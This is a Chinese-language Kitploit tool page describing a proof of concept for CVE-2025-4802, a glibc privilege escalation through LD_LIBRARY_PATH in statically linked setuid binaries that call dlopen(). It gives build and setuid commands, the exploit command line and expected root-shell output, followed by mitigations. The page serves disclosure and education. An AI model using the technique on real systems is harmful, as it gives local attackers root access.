Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-4802-Proof-of-Concept — 针对静态编译且易受 dlopen 与 LD_LIBRARY_PATH 影响的 setuid 二进制文件的概念验证 | Kitploit
工具/GitHubGitHub/betim-hodza/cve-2025-4802-proof-of-concept
权限提升漏洞分析漏洞利用渗透测试学习与教育Payload 开发二进制利用
GitHubbetim-hodza/cve-2025-4802-proof-of-concept

CVE-2025-4802-Proof-of-Concept

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

针对静态编译且易受 dlopen 与 LD_LIBRARY_PATH 影响的 setuid 二进制文件的概念验证

查看仓库
2157个月前尚未审核

CVE-2025-4802 — 概念验证

⚠️ 免责声明: 本仓库仅供教育和授权的安全研究目的使用。请勿在您不拥有或未获得明确授权测试的系统上使用此漏洞利用程序。滥用可能违反法律法规。

CVE 摘要

字段详情
CVE IDCVE-2025-4802
受影响的软件GNU C Library (glibc)
受影响版本2.27 – 2.38
漏洞类型通过不可信的 LD_LIBRARY_PATH 进行权限提升
攻击向量本地

描述

GNU C Library (glibc) 2.27 至 2.38 版本中存在一个漏洞,允许攻击者利用调用 dlopen() 的静态编译的 setuid 二进制文件中的 LD_LIBRARY_PATH 环境变量。

通常,动态链接器会为 setuid 程序清理 LD_LIBRARY_PATH。然而,静态编译的二进制文件完全绕过了动态链接器,因此 LD_LIBRARY_PATH 永远不会被清除。当这样的二进制文件调用 dlopen()(直接调用,或通过 setlocale() 或类似 getaddrinfo() 的 NSS 函数间接调用)时,glibc 使用攻击者控制的 LD_LIBRARY_PATH 解析共享库,从而可以在提升的权限下执行任意代码。

工作原理

  1. 一个静态编译的 setuid-root 二进制文件调用 dlopen("myso.so", ...) 按名称加载一个共享对象(而不是绝对路径)。
  2. 由于该二进制文件是静态链接的,动态链接器 (ld-linux.so) 从不运行,因此 LD_LIBRARY_PATH 未被清理。
  3. 攻击者创建一个恶意的共享对象 (myso.so),它导出相同的 hello() 符号,但会生成一个 root shell。
  4. 攻击者将 LD_LIBRARY_PATH 设置为指向包含恶意库的目录。
  5. 当 setuid 二进制文件运行时,它会加载攻击者的库而不是合法的库,从而以 root 身份执行任意代码。

仓库结构

root@kitploit:~
.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

前提条件

  • 操作系统: Fedora 39(或任何存在漏洞的 glibc 的 Linux 发行版)
  • glibc 版本: 2.27 – 2.38(通过 ldd --version 检查)
  • 软件包: gcc、make
  • root 访问权限以设置 setuid 位

复现步骤

1. 构建所有内容

root@kitploit:~
make all

或手动构建:

root@kitploit:~
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. 设置 Setuid 位(需要 root 权限)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. 正常运行(安全行为)

root@kitploit:~
./main

预期输出:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. 利用 LD_LIBRARY_PATH(恶意行为)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

预期输出:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

该二进制文件从 evil_library/ 加载攻击者的 myso.so 而不是合法的库,从而生成一个 root shell。

概念验证

Proof of Concept Screenshot

视频演示也可用:proof_of_concept_video.mp4

缓解措施

  • 升级 glibc 到已修补版本(> 2.38)
  • 避免对使用 dlopen() 的 setuid 二进制文件进行静态链接
  • 在 dlopen() 调用中使用绝对路径而不是裸库名
  • 在调用 dlopen() 之前丢弃特权
  • 使用编译器/链接器加固标志,并尽可能避免 setuid

资源

  • NVD — CVE-2025-4802
下载工具